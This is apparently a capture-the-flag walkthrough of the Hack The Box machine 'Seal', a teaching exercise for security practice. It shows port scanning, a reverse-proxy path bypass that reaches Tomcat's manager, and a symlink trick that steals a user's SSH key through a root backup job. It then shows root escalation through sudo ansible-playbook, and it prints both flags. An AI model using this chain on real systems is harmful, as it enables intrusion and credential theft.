As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Mon Jul 4 16:57:22 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.060s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
8080/tcp open http-proxy
# Nmap done at Mon Jul 4 16:57:37 2022 -- 1 IP address (1 host up) scanned in 14.95 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80 10.10.10.250 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Mon Jul 4 16:58:11 2022 as: nmap -sCV -p22,443,8080 -oN targeted 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.082s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Mon, 04 Jul 2022 14:58:22 GMT
| Set-Cookie: JSESSIONID=node01ov21l8d86r521soe4c1o50y3u2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Mon, 04 Jul 2022 14:58:21 GMT
| Set-Cookie: JSESSIONID=node02x58o46fd8601lk88x0ojal6z0.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Mon, 04 Jul 2022 14:58:21 GMT
| Set-Cookie: JSESSIONID=node0evirwrkehei919ps6nkmve2151.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=7/4%Time=62C3000C%P=x86_64-pc-linux-gnu%r(Get
SF:Request,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Mon,\x2004\x20
SF:Jul\x202022\x2014:58:21\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node02x58o4
SF:6fd8601lk88x0ojal6z0\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,
SF:\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;
SF:charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,108,"HTTP
SF:/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2004\x20Jul\x202022\x2014:58:21\x2
SF:0GMT\r\nSet-Cookie:\x20JSESSIONID=node0evirwrkehei919ps6nkmve2151\.node
SF:0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x200
SF:0:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllow:\x2
SF:0GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20text/htm
SF:l;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r
SF:\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version<
SF:/pre>")%r(FourOhFourRequest,F5,"HTTP/1\.1\x20401\x20Unauthorized\r\nDat
SF:e:\x20Mon,\x2004\x20Jul\x202022\x2014:58:22\x20GMT\r\nSet-Cookie:\x20JS
SF:ESSIONID=node01ov21l8d86r521soe4c1o50y3u2\.node0;\x20Path=/;\x20HttpOnl
SF:y\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nConten
SF:t-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(
SF:Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\nCont
SF:ent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nC
SF:onnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x
SF:20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\x2040
SF:0\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/html;cha
SF:rset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\
SF:n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x20
SF:CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20characte
SF:r\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nCon
SF:tent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x2
SF:0400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 4 16:58:32 2022 -- 1 IP address (1 host up) scanned in 21.50 seconds
If we take a look at the HTTPS server, we'll see a static website with no functionality.
Let's do some fuzzing and see if there are any subdirectories.
gobuster dir -u https://10.10.10.250/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -k
dir enumerates directories or files.
-u the target URL.
-w path to the wordlist.
-t number of current threads, in this case 200 threads.
It looks like there is running a Tomcat server. But the problem is that if we try to access /manager/html, we'll get redirected to an HTTP server, which doesn't exist.
curl -I -k 'https://10.10.10.250/manager/html'
-I fetch the HTTP headers only.
-kproceed for server connections considered insecure.
But, as we can see with the Wappalyzer extension, there is a reverse proxy with nginx.
Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.
As Orange Tsai explained in his BlackHat 2018 presentation called Breaking Parser Logic!, we can bypass this reverse proxy. If we search for /manager;name=orange/html we'll be able to see the login popup.
https://10.10.10.250/manager;name=orange/html
But we don't have credentials. Let's take a look at the website on port 8080.
It is a GitBucket server. Let's create a new account.
Then, log in.
First thing we see, is that there are two repositories called seal_marked, and infra.
If we take a look at the seal_market repository, we'll see the app, nginx and tomcat directories.
Let's see if there is the common file tomcat-users.xml file, which usually contains credentials.
But, if we check it's content, we won't see any credentials.
But we can check previous commits. Let's click on History.
And there are two commits.
If we take a look at the last commit, we'll finally see some credentials.
Let's try those credentials on the /manager;name=orange/html login panel.
And we get in the Tomcat Web Application Manager.
Time to get a shell. If we check out the web page, we could see there is a Deploy section in which we can upload WAR files.
So, it looks like there is some scheduled job doing a copy of the /var/lib/tomcat9/webapps/ROOT/admin/dashboard into the /opt/backups/files directory. Then, the script compress that directory into a file under the /opt/backups/archives directory. Finally, it removes the /opt/backups/files directory. Let's take a look at the directory that is being compressed.
ls -l /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 92
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 2021 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 May 7 2021 uploads
And it looks like we have full permissions on the uploads directory. We could make a symbolic link from that directory to the home directory of the luis user. So then we can decompress the compressed file and see what's on his home directory.
cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard
ln -s -f /home/luis uploads
Now, we wait, and then copy the last compressed file inside the /opt/backups/archives to the /tmp directory.
Let's copy it to the id_rsa file on our local machine. And give it the right permissions.
nano id_rsa
chmod 600 id_rsa
Now, we can become the luis user via SSH without the need of his password. Then we'll be able to grab the user flag.
ssh -i id_rsa luis@10.10.10.250
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 04 Jul 2022 08:08:51 PM UTC
System load: 0.09
Usage of /: 49.8% of 9.58GB
Memory usage: 24%
Swap usage: 0%
Processes: 159
Users logged in: 0
IPv4 address for eth0: 10.10.10.250
IPv6 address for eth0: dead:beef::250:56ff:feb9:8a30
* Pure upstream Kubernetes 1.21, smallest, simplest cluster ops!
https://microk8s.io/
22 updates can be applied immediately.
15 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jul 4 18:40:35 2022 from 10.10.14.15
luis@seal:~$ whoami
luis
luis@seal:~$ cat user.txt
260510291761e244bbad03ca41286c7b
Let's list the sudo privileges.
sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
We can run ansible-playbook as root. If we search for that tool on the GTFOBins list, we'll see that we can get a shell as the root user.
GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.
Finally, if we execute the following command, we'll get a shell as the root user, and then all we have to do is reap the harvest and take the root flag.
sudo ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not
match 'all'
PLAY [localhost] ****************************************************************************************************
TASK [Gathering Facts] **********************************************************************************************
ok: [localhost]
TASK [shell] ********************************************************************************************************
root@seal:/tmp# whoami
root
root@seal:/tmp# cat /root/root.txt
8209e4fea10d7940063992a85c67604c